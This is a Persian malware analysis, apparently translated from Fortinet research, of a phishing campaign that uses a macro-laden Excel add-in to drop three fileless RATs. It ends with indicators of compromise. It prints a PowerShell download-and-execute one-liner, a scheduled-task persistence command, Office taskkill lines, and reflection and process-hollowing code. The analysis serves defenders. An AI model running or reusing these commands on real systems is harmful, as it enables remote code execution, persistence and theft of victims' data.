محققان شرکت فورتینت (Fortinet) کارزار فیشینگی (Phishing) را شناسایی کردهاند که در آن مهاجمان اقدام به ارسال سه بدافزار بدون فایل (Fileless Malware) به نامهای AveMariaRAT ،BitRAT و PandoraHVNC بر روی دستگاه قربانی میکردند. در این کارزار فیشینگی، پس از اجرای کد مخرب بدافزارهای مذکور، مهاجمان قادر به سرقت اطلاعات حساس از دستگاههای قربانیان میباشند.
در این مقاله به تحلیل کارزار مذکور میپردازیم و نشان خواهیم داد که یک کارزار فیشینگ چگونه میتواند بدافزار Fileless را به دستگاه قربانی منتقل کند، از چه مکانیزمی برای بارگذاری، استقرار و اجرای بدافزار بدون فایل در هدف موردنظر استفاده میکند و چگونه بر روی سیستم قربانی ماندگار میشود.
این کارزار دارای درجه شدت «حیاتی» (Critical) میباشد و بر روی سیستمهای Microsoft Windows تاثیر میگذارد، دستگاه قربانی را کنترل نموده و اطلاعات حساس و حیاتی را سرقت میکند.
نمونه ایمیل فیشینگ
نمونه ایمیل فیشینگ دریافت شده در این کارزار در شکل زیر نشان داده شده است. ایمیل مذکور به عنوان یک اعلان گزارش پرداخت از یک منبع به ظاهر معتبر ارسال شده است.
در این ایمیل، مهاجم سعی کرده گیرنده را فریب دهد تا سند Excel پیوست شده را جهت دریافت جزئیات گزارش باز کند.
نگاهی به سند Excel پیوست شده
سند Excel پیوست شده به این ایمیلهای فیشینگ، Remittance-Details-951244.xlam نامگذاری شده است. در واقع این فایل، یک افزونه Excelا(*.xlam) است که حاوی ماکروهای مخرب میباشد. همانطور که در شکل زیر نمایش داده شده، هنگامی که گیرنده آن را در برنامه Microsoft Excel اجرا میکند، یک اخطار امنیتی ظاهر شده که از کاربر میپرسد آیا میخواهد ماکروها را فعال کند.
این ماکرو بصورت خودکار با استفاده از یک تابع VBAا(Visual Basic Application) به نام ()Auto_Open با باز شدن فایل Excel اجرا میشود.
تحلیل کد VBA در داخل تابع، نشان میدهد که این کد یک فرمان رشتهای رمزگشایی میکند و آن را با استفاده از یک WMI Object (Windows Management Instrumentation) اجرا مینماید.
شکل بالا قطعهای از کد VBA مربوط به تابع ()Auto_Open را نشان میدهد که در آن یک WMI Object جهت اجرای فرمان رشته رمزگشایی شده زیر ایجاد میشود همانطور که در پایین شکل بالا نشان داده شده است.
C:\\ProgramData\\ddond.com hxxps://taxfile[.]mediafire[.]com/file/6hxdxdkgeyq0z1o/APRL27[.]htm/file
قبل از آن، فایل C:\Windows\System32\mshta.exe را در \C:\ProgramData کپی میکند و آن را به ddond.com تغییر نام میدهد. mshta.exe یک فایل باینری معتبر است که بصورت پیشفرض بر روی تمامی دستگاهها با سیستمعامل Windows وجود دارد. این فایل محلی برای اجرای فایلهای Microsoft HTML Application (HTA) طراحی شده است. اکنون C:\ProgramData\ddond.com نسخه رونوشت mshta.exe میباشد که در طول کارزار مورد استفاده قرار خواهد گرفت. برای مثال برای گیج کردن محققان، از فایل کپی شده ddond.com جهت دانلود و اجرای فایل html مخرب به جای mshta.exe استفاده میکند.
HTML + JavaScript + PowerShell
فایل APRL27.htm که توسط ddond.com (یعنی رونوشت mshta.exe) فراخوانی شده، دانلود میشود. فایل HTML حاوی یک قطعه کد JavaScript است که با استفاده از تابع URL Escape کدگذاری شده است. شکل زیر نسخه رمزگشایی و ساده شده کد را نشان میدهد.
با استفاده از دستورالعمل زیر یک Object به نام Wscript.Shell ایجاد میشود.
chuchukukukaokiwDasidow = new ActiveXObject(_0x5b4b3f(0x391, 0x391));
Wscript.Shell با استفاده از تابع 0x5b4b3f(0x391, 0x391)_ که برای برگرداندن یک رشته و شاخص آن استفاده میشود، بازیابی میشود.
یک OS Shell Object نیز به نام chuchukukukaokiwDasidow ایجاد میشود که برای اجرای یک برنامه مورد استفاده قرار میگیرد. همانطور که در شکل بالا نشان داده شده، پنج برنامه کاربردی خط فرمان زیر را اجرا مینماید:
- powershell $MMMMMMM=((neW-ObjEcT ((“Net.Webclient”))).((“Downloadstring”)).invoke(((“hxxps[:]//taxfile[.]mediafire.com/file/175lr9wsa5n97x8/mainpw.dll/file”))));Invoke-Expression $MMMMMMM
- schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr “””%programdata%\ddond.com “””””” hxxps[:]//www[.]mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file”””
- taskkill /f /im WinWord.exe
- taskkill /f /im Excel.exe
- taskkill /f /im POWERPNT.exe
سپس برنامه PowerShell اجرا میشود تا یک فایل PowerShell به نام mainpw.dll را دانلود کرده و سپس آن را اجرا کند. در ادامه schtasks را جهت ایجاد یک برنامه زمانبندی شده به نام calendersw در Task Scheduler اجرا میکند. فرمان زیر هر 82 دقیقه یکبار انجام میشود که به نظر میرسد مربوط به عملیات Parsing فایل APRL27.html است. این سازوکار پایداری است و پس از شروع، back.htm وظایف برنامهریزی شده بیشتری را اضافه میکند.
C:\ProgramData\ddond.com hxxps[:]//www[.]mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file
همچنین taskkill را جهت متوقفسازی پروسههای MS Word (WinWord.exe) ،MS Excel (Excel.exe) و MS PowerPoint (POWERPNT.exe) اجرا میکند.
شکل بالا نمایی از HTTP proxy است که بستههای APRL27.htm تا mainpw.dll را که در کادر قرمز مشخص شدهاند، نشان میدهد. کادر سبز (back.htm) و کادر آبی (Start.htm) گروه دیگری از درخواستهای مربوط به فرمان ddond.com هستند که توسط Task Scheduler شروع شدهاند.
فایل mainpw.dll (با حجم 7.58 مگابایت) دارای تعداد زیادی کد PowerShell است که میتوان آن را برای سه بدافزار Fileless به سه بخش تقسیم کرد. شکل زیر ساختار ساده شده mainpw.dll را نشان میدهد.
این کد دارای سه بخش اصلی است و از منطق یکسانی برای هر یک از بدافزارها استفاده میکند. این کار برای هر بدافزار از طریق متغیرهای آن انجام میشود.
- اولین متغیر، یعنی hexString$ حاوی روشی پویا است که GZip را از حالت فشرده خارج میکند.
- دومین hexString$ حاوی کد پویای PowerShell است که کدمخرب بدافزار (Payload) و یک ماژول Net. داخلی را جهت استقرار کد مخرب از حالت فشرده خارج میکند.
- nona$ یک آرایه بزرگ است که حاوی کد مخرب و فشرده شده بدافزار (GZip-compressed malware payload) میباشد. کدهای PowerShell زیر از دومین hexString$ استخراج شدهاند و جهت فشرده کردن کد مخرب بدافزار در nona$ و ماژول داخلی Net. بکارگرفته میشوند تا کد مخرب را در دو متغیر محلی اجرا نمایند.
- [byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH= Get-
DecompressedByteArray $nona - [byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG=Get-
DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI
در پایان هر قطعه کد بدافزار، تابع ()Load، ماژول Net. داخلی را از RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG$ بارگذاری و فراخوانی میکند.
سپس قطعه کد، تابع ()Invoke را فراخوانی میکند تا تابع مربوط به ماژول داخلی Net. یعنی ()projFUD.PA.Execute را با دو پارامتر که یکی فایل exe مربوط به کل مسیر و دیگری کد مخرب بدافزار Fileless است، فراخوانی کند. در اینجا بخشی از کد PowerShell که برای اولین بدافزار مورد استفاده قرار گرفته، نشان داده شده است.
[Reflection.Assembly]::Load($RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType(‘projFUD.PA’).GetMethod(‘Execute’)
.Invoke($null,[object[]] ( ‘C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe’,$RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH))
ماژول پویای NET.
ماژول پویا و داخلی NET. از دومین متغیر hexString$ استخراج میشود. تابع آن ()projFUD.PA.Execute از PowerShell فراخوانی میشود که در آن projFUD فضای نام (name space)، PA نام کلاس و ()Execute عضوی از کلاس PA است. شکل زیر توقف (Break) برنامه اشکالیاب (Debugger) را در ورودی این تابع نشان میدهد.
در پایین شکل، در زیر منوی متغیر Locals، دو پارامتر ارسال شده را مشاهده میکنیم. سپس پروسه Process Hollowing یعنی تعویض فایل اجرایی و جایگزینی کدمخرب به جای آن انجام میشود تا کد مخرب بدافزار را به پروسه جدید ایجاد شده aspnet_compiler.exe تزریق کند.
سپس تابع Execute() ،API مربوط به Windows به نام (()CreateProcessA) را فراخوانی میکند تا پروسهای از aspnet_compiler.exe را با فرمان Create Flag 0x8000004 اجرا کند. این ترکیبی از CREATE_NO_WINDOW و CREATE_SUSPENDED است، همانطور که در شکل بالا نشان داده شده است.
در ادامه حافظه را به این پروسه تخصیص داده و دادههای مربوط به کد مخرب بدافزار را در آن مستقر و بارگذاری میکند. مقدار را در آدرس حافظه 0x7EFDE008 تغییر میدهد، جایی که در آن Process Environment Block – به اختصار PEB – را ذخیره میکند و رجیستری فرآیند را به گونهای تغییر میدهد که Extended Instruction Pointer – به اختصار EIP – آن به کد مخرب بدافزار کپی شده اشاره کند. برای اتمام، باید چندین بار API مربوط به ()WriteProcessMemory و همچنین ()Wow64SetThreadContext فراخوانی شود.
پس از تکمیل تمام مراحل فوق، در نهایت API مربوط به ()ResumeThread فراخوانی میشود تا فرآیند بارگذاری بدافزار را اجرا کند. در زیر کد مورد استفاده در فراخوانی این API آمده است. processInformation.ThreadHandle، پروسه تازه ایجاد شده را کنترل میکند.
num15 = (int)PA.LX99ujNZ7X3YScj6T4(PA.ResumeThread,
PA.vgxYHnXuOV51G6NIu3(“010010010110111001110110011011110110101101100101”), CallType.Method,
new object[]
{
processInformation.ThreadHandle
});
جمعبندی
در این مقاله به تحلیل یکی از حملاتی که در آن از بدافزارهای Fileless استفاده شده، پرداختیم و توضیح دادیم که چگونه یک پیوست Excel در یک ایمیل فیشینگ به دستگاه قربانی ارسال میشود و چگونه کد مخرب داخل سند Excel پس از باز شدن توسط گیرنده بهطور خودکار اجرا میشود.
همچنین نشان دادیم که چگونه کد VBA با استفاده از فرمان کپی شده mshta.exe از راه دور به یک فایل htmlا(APRL27.htm) دسترسی پیدا میکند. این فایل حاوی کدهای مخرب JavaScript است که بعداً اجرا میشود. همچنین با افزودن وظایف به Task Scheduler در دستگاه قربانی ماندگار میشود.
همچنین نشان دادیم که چگونه این کارزار از طریق یک فایل PowerShell جهت دور زدن راهکارهای امنیتی دانلود میشوند و چگونه بعداً از طریق پروسه Process Hollowing یعنی تعویض فایل اجرایی و جایگزینی کدمخرب به جای آن در پروسههای موردنظر مهاجم مستقر و اجرا میشوند.
در بخش دوم این مقاله، بر روی سه بدافزار Fileless این کارزار به نامهای AveMariaRAT ،BitRAT و PandoraHVNC تمرکز خواهم کرد تا ببینم آنها روی دستگاه قربانی چه میکنند و همچنین چه نوع دادههایی را میتوانند سرقت کنند.
نشانههای آلودگی (IoC):
URL:
hxxps://taxfile[.]mediafire[.]com/file/6hxdxdkgeyq0z1o/APRL27[.]htm/file
hxxps://www[.]mediafire[.]com/file/c3zcoq7ay6nql9i/back[.]htm/file
hxxps://www[.]mediafire[.]com/file/jjyy2npmnhx6o49/Start[.]htm/file
hxxps://taxmogalupupitpamobitola[.]blogspot[.]com/atom[.]xml
SHA-256:
[Remittance-Details-951244-1.xlam]:8007BB9CAA6A1456FFC829270BE2E62D1905D5B71E9DC9F9673DEC9AFBF13BFC
[APRL27.htm]: D71ADD25520799720ADD43A5F4925B796BEA11BF55644990B4B9A70B7EAEACBA
[mainpw.dll]:3D71A243E5D9BA44E3D71D4DA15D928658F92B2F0A220B7DEFE0136108871449
منبع:
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware